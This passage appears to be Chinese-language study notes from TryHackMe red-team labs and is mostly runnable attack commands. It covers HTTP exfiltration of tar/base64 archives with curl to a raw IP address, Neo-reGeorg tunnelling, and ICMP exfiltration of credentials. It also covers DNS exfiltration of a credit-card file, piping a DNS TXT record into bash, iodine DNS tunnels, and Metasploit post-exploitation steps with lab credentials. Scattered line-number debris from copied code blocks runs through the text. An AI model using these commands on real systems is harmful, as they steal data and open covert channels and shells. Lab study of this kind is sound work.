    • curl –data “file=$(tar zcf - task6 | base64)” http://web.thm.com/contact.php

    • tar zcf - app | base64 > tmp.txt
      curl --data "file=$(cat tmp.txt)" http://123.56.226.71/1.php
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17

      - curl --data-binary @tmp.txt http://123.56.226.71/1.php

      - 修复文件

      - sudo sed -i 's/ /+/g' /tmp/http.bs64

      - 解密文件

      - cat /tmp/http.bs64 | base64 -d | tar xvfz -

      #### HTTP隧道2

      利用工具,往web服务上传码

      利用工具进行连接**Neo-reGeorg**

root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k thm
#生成码

#连接
python3 neoreg.py -k thm -u http://10.10.193.228/uploader/files/tunnel.php

#使用与测试
curl –socks5 127.0.0.1:1080 http://172.20.0.121:80

1
2
3
4
5
6
7

### ICMP渗透

假设我们需要窃取以下凭证 thm:tryhackme 。首先,我们需要将其转换为十六进制表示,然后 使用 -p选项将其传递给ping命令,如下所示,

使用 -p 参数,我们可以指定要通过数据包发送的 16 字节十六进制数据。 请注意, -p选项仅适用于Linux操作系统。

echo “thm:tryhackme” | xxd -p
#信息转为16进制
ping 10.10.193.228 -c 1 -p 74686d3a7472796861636b6d650a
#发送16进制

ping 10.10.193.228 -c 1
#-c 1是发送一个包

1
2
3

#### 使用msf攻击

use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run

1
2
3

受害机执行

sudo nping –icmp -c 1 ATTACKBOX_IP –data-string “BOFfile.txt”

1
2
3

这样传输文件,传输语句也行

sudo nping –icmp -c 1 ATTACKBOX_IP –data-string “admin:123456”

1
2
3
4
5

#### 使用icmpdoor攻击

受害机

sudo icmpdoor -i eth0 -d 192.168.0.133

1
2
3

攻击机器

sudo icmp-cnc -i eth1 -d 192.168.0.121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

然后就可以在攻击机器上进行命令执行

## DNS数据泄露

### 原理

假设我们有一个包含敏感数据(例如信用卡信息)的creds.txt 文件。要通过 DNS 协议移动它,我们需要对文件内容进行编码并将其附加为子域名 ,如下所示,

![image-20250112161508254](https://github.com/DDL08/images/blob/img/img/image-20250112161508254.png?raw=true)

1. 获取需要传输的所需数据。
2. 使用其中一种编码技术对文件进行编码。
3. 将编码字符作为子域/标签发送。
4. 考虑 DNS 协议的限制。请注意,我们可以向域名添加尽可能多的数据,但必须将整个 URL 保持在 255 个字符以下,并且每个子域标签不能超过 63 个字符。如果超出这些限制,我们会拆分数据并发送更多DNS请求!

### DNS手动通信

通过dig命令手动发送编码数据

将 base64 数据作为子域名发送,同时考虑DNS限制👇

cat task9/credit.txt |base64 | tr -d “\n” | fold -w18 | sed ‘s/.*/&./‘ | tr -d “\n” | sed s/$/att.tunnel.com/ | awk ‘{print “dig +short “ $1}’ | bash

1
2
3

接收

sudo tcpdump -i eth0 udp port 53 -v

1
2
3
4
5

### DNS脚本通信

访问查看脚本内容

dig +short -t TXT script.tunnel.com

1
2
3

执行脚本

dig +short -t TXT script.tunnel.com | tr -d “"“ | base64 -d | bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

## DNS隧道

**利用工具iodine**

攻击机打开服务
sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com

- 确保使用 sudo 执行该命令。iodined 会创建一个新的网络接口 (dns0),用于通过DNS进行隧道传输。
- -f 参数是在前台运行服务器。
- -c 参数用于跳过检查每个DNS请求的客户端 IP 地址和端口。
- -P 参数用于设置身份验证的密码。
- 10.1.1.1/24 参数用于设置新网络接口 (dns0) 的网络 IP。服务器的 IP 地址为 10.1.1.1,客户端的 IP 地址为 10.1.1.2。
- att.tunnel.com 是我们之前设置的名称服务器。

然后新开个框等②

受害机连接
sudo iodine -P thmpass att.tunnel.com

②通过网络 10.1.1.1/24 进行的所有通信都将通过DNS进行。我们将使用动态端口转发功能的 -D 参数来使用SSH会话作为代理。请注意,我们使用了 -f 参数来强制 ssh 进入后台。 -4 参数强制 ssh 客户端仅绑定在 IPv4 上。

操作👇

ssh thm@10.1.1.2 -4 -f -N -D 1080
root@attacker$ proxychains curl http://192.168.0.100/demo.php
下边俩操作二选一
root@attacker$ #OR
root@attacker$ curl –socks5 127.0.0.1:1080 http://192.168.0.100/demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 主机规避

## window内部原理

启动进程默认应用示例

MsMpEng(微软Defender)
wininit(键盘和鼠标)
lsass(凭证存储)

攻击者可以使用的攻击媒介

进程注入(T1055)
工艺镂空 ( T1055.012 )
进程伪装(T1055.013)

**DLL**(全称:**Dynamic Link Library**)是动态链接库的缩写,是 Windows 操作系统中一种包含可执行代码和数据的文件格式。

**PE**(**Portable Executable**)是 Windows 操作系统中使用的可执行文件格式。

## windowsAPI

研究网址

https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

1

https://en.wikipedia.org/wiki/Windows.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

| **用户模式** | **内核模式** |
| -------------------- | ---------------- |
| 没有直接硬件访问 | 直接硬件访问 |
| 访问“拥有的”内存位置 | 访问整个物理内存 |

| **Character** | **Explanation** |
| ------------- | ------------------------------------------------------------ |
| A | Represents an 8-bit character set with ANSI encoding |
| W | Represents a Unicode encoding |
| Ex | Provides extended functionality or in/out parameters to the API call |

Windows 头文件(也称为 Windows 加载器)

### 操作系统库

- windows头文件

- p/调用

- ASLR内存保护解决方案可以掩盖导入 API 调用的过程



## 题

#### smb登录

您可以使用以下凭据模拟对SMB(服务器消息块)的初始攻击(使用 exploit/windows/smb/psexec)

用户名: ballen

密码:Password1

#### 域名

post/windows/gather/enum_domain

1
2
3

#### 共享文件名称

post/windows/gather/enum_shares

1
2
3

#### 查找文件

search -f *.txt
search -f secrets.txt

1
2
3

#### shell转meterpreter

sessions -u 3
sessions -u -1
#开metepreter

ctrl+z 然后y转为后台
use post/multi/manage/shell_to_meterpreter
拿模块打
set session
然后等着出新session